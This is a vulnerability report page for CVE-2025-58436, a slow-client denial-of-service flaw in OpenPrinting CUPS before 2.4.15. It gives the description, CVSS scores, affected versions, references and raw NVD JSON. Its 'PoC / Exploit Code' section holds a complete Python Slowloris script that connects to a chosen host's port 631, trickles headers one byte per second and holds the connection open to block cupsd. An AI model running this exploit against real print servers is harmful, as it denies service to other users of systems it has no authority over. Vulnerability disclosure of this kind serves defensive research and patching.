Security Vulnerability Report
中文
CVE-2025-58436 CVSS 5.1 MEDIUM

CVE-2025-58436

Published: 2025-11-29 03:15:59
Last Modified: 2025-12-04 17:24:13

Description

OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. Prior to version 2.4.15, a client that connects to cupsd but sends slow messages, e.g. only one byte per second, delays cupsd as a whole, such that it becomes unusable by other clients. This issue has been patched in version 2.4.15.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:* - VULNERABLE
OpenPrinting CUPS < 2.4.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-58436 PoC - CUPS Slowloris Denial of Service This PoC demonstrates how a slow client connection can block the CUPS daemon. """ import socket import time def exploit_cups_slowloris(target_host, target_port=631): """ Establish a slow connection to CUPS that sends data very slowly to block the cupsd daemon from serving other clients. """ try: # Create socket connection to CUPS sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) print(f"[*] Connected to {target_host}:{target_port}") # Send HTTP-like request headers very slowly headers = "GET /printers/ HTTP/1.1\r\n" headers += "Host: localhost\r\n" headers += "User-Agent: SlowClient/1.0\r\n" headers += "Accept: text/html\r\n" headers += "\r\n" # Send one byte per second to keep connection alive for byte in headers: sock.send(byte.encode()) print(f"[*] Sent: {repr(byte)}") time.sleep(1) # 1 second delay between each byte print("[*] Slow headers sent. Connection remains open...") print("[*] CUPS daemon is now blocked on this slow connection") # Keep connection alive indefinitely while True: time.sleep(60) except KeyboardInterrupt: print("\n[!] Exploitation interrupted by user") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() print("[*] Connection closed") if __name__ == "__main__": import sys target = sys.argv[1] if len(sys.argv) > 1 else "localhost" exploit_cups_slowloris(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58436", "sourceIdentifier": "[email protected]", "published": "2025-11-29T03:15:59.323", "lastModified": "2025-12-04T17:24:12.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. Prior to version 2.4.15, a client that connects to cupsd but sends slow messages, e.g. only one byte per second, delays cupsd as a whole, such that it becomes unusable by other clients. This issue has been patched in version 2.4.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.15", "matchCriteriaId": "3D93D152-B5C1-4CD1-B7E9-785A55F3BE93"}]}]}], "references": [{"url": "https://github.com/OpenPrinting/cups/commit/40008d76a001babbb9beb9d9d74b01a86fb6ddb4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenPrinting/cups/releases/tag/v2.4.15", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-8wpw-vfgm-qrrr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/27/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-8wpw-vfgm-qrrr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}